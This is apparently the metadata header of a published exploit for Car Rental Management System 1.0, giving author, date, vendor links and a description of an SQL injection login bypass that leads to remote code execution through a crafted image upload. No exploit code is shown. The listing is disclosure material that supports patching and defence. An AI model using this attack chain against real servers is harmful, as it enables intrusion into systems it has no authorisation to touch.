Car Rental Management System 1.0 Remote Code Execution

`# Exploit Title: Car Rental Management System v1.0 - Unauthenticated RCE  
# Exploit Author: Adeeb Shah (@hyd3sec)   
# Shout out: Bobby Cooke (boku)  
# Date: August 3, 2020  
# Vendor Homepage: https://projectworlds.in   
# Software Link: https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/  
# Version: 1.0  
# Tested On: Windows 10 (x64_86) + XAMPP | Python 2.7  
# Vulnerability Description:  
# Car Rental Management System v1.0 suffers from a SQLi authentication bypass allowing remote attackers   
# to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.
